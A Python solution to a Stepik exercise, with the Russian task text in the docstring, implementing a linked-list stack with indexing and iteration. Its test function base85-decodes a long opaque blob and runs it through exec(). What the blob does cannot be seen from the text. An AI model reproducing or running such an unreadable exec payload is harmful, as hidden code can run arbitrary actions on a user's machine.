""" https://stepik.org/lesson/701994/step/10?unit=702095 Вы несколько раз уже делали стек-подобную структуру, когда объекты последовательно связаны между собой: Доведем ее функционал до конца. Для этого, по прежнему, нужно объявить классы: Stack - для представления стека в целом; StackObj - для представления отдельных объектов стека. В классе Stack должны быть методы: push_back(obj) - для добавления нового объекта obj в конец стека; push_front(obj) - для добавления нового объекта obj в начало стека. В каждом объекте класса Stack должен быть публичный атрибут: top - ссылка на первый объект стека (при пустом стеке top = None). Объекты класса StackObj создаются командой: obj = StackObj(data) где data - данные, хранящиеся в объекте стека (строка). Также в каждом объекте класса StackObj должны быть публичные атрибуты: data - ссылка на данные объекта; next - ссылка на следующий объект стека (если его нет, то next = None). Наконец, с объектами класса Stack должны выполняться следующие команды: st = Stack() st[indx] = value # замена прежних данных на новые по порядковому индексу (indx); отсчет начинается с нуля data = st[indx] # получение данных из объекта стека по индексу n = len(st) # получение общего числа объектов стека for obj in st: # перебор объектов стека (с начала и до конца) print(obj.data) # отображение данных в консоль При работе с индексами (indx), нужно проверять их корректность. Должно быть целое число от 0 до N-1, где N - число объектов в стеке. Иначе, генерировать исключение командой: raise IndexError('неверный индекс') P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно. """ from typing import List class StackObj: def __init__(self, data=None): self.__next = None self.__data = data @property def data(self): return self.__data @data.setter def data(self, value): self.__data = value def __eq__(self, other): if hasattr(other, "data"): return self.data == other.data return self.data == other def __ne__(self, other): return not self == other @property def next(self): return self.__next @next.setter def next(self, value): if isinstance(value, (self.__class__, None.__class__)): self.__next = value @classmethod def wrap(cls, value): return value if isinstance(value, cls) else cls(value) def __repr__(self): return f"{self.__class__.__name__}({self.data!r})" def __str__(self): return str(self.data) class Stack: def __init__(self, data=None): self.top = None self.load(data or []) def __iter__(self): obj = self.top while obj: yield obj obj = obj.next @property def bottom(self) -> StackObj: for last in self: ... return last def push_back(self, value): obj = StackObj.wrap(value) if not self.top: self.top = obj else: self.bottom.next = obj def push_front(self, value): obj = StackObj.wrap(value) obj.next = self.top self.top = obj def pop(self) -> StackObj: if not self.top: return None b, c = None, None for a in self: b, c = a, b if c: c.next = None if b is self.top: self.top = None return b def load(self, data): for x in data: self.push_back(x) def __len__(self): return sum(1 for _ in self) def validate_index(self, idx: int): if not isinstance(idx, int) or not 0 <= idx < len(self): raise IndexError("неверный индекс") def __getitem__(self, idx: int): self.validate_index(idx) for i, v in enumerate(self): if idx == i: return v.data def __setitem__(self, idx: int, value): self.validate_index(idx) if idx == len(self): self.push_back(value) return prev = self.top for i, v in enumerate(self): if idx == i: old = v break prev = v value = StackObj.wrap(value) value.next = old.next if idx > 0: prev.next = value else: self.top = value def get_data(self) -> List[StackObj]: return [x for x in self] def __str__(self): return " -> ".join(map(str, self.get_data())) def __repr__(self): return f"{self.__class__.__name__}({self.get_data()!r})" def tests(): code = ( b"b95j*AX9W<V{0fW3UhQWaCLKNUt(cnYbaB6VPk7gVrnQNF(N4`3UhQWaCLKNUuJS|ZgeP9bYWv" + b"_Phx5)A~GT=DGCZ<b8}^KbRctdTQFT9Jv|^IG9n;hZe$>HbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk" + b"(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf" + b"zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7" + b"Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n" + b"*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazR<DJiqN&ty3vBruprTa(Sp#m(7Mp" + b"DEFjRb(7w>O(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng" + b"(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzR<GJzR<JKz97)I(7n*G(TC8r(7n*O(T^a|zR<DJi" + b"qN&ty3vBsgCNm?(Sp#m(7MpDA_@v-Z*m}SVrn31ZXk1XItm~lARu9Lb7gXLAZc@HZgX^DZewLAZ(" + b"?dJAX9W<V{1=hYAGxrBGA9lfY7)g(7({N(SXpk(6P|I(SXpkAkl%*g3z_ly3nv7(TC8r(SXpk(6=" + b"DbhS0dsy3o5I(6rFL(7VvK(7n-%AkebVzR<VOveAIhu+fRou+f6ijM0J7k08*#(6P~q(6!LI(Sp&" + b"7AkezdyU?)Ffzg4`upm=(VPk7gVrn7^3UqRLItm~lARu8NJs@**TQgk>Wq4y{aC9I^Ze(S6MRIa)" + b"aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf" + b"Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X" ) exec(__import__("base64").b85decode(code)) # + st = Stack("123") st[1] = "x" assert "1x3" == "".join( map(str, st) ), "неверно отработали операторы присвоения данных по индексу и/или получение данных по индексу" if __name__ == "__main__": import doctest doctest.testmod() tests()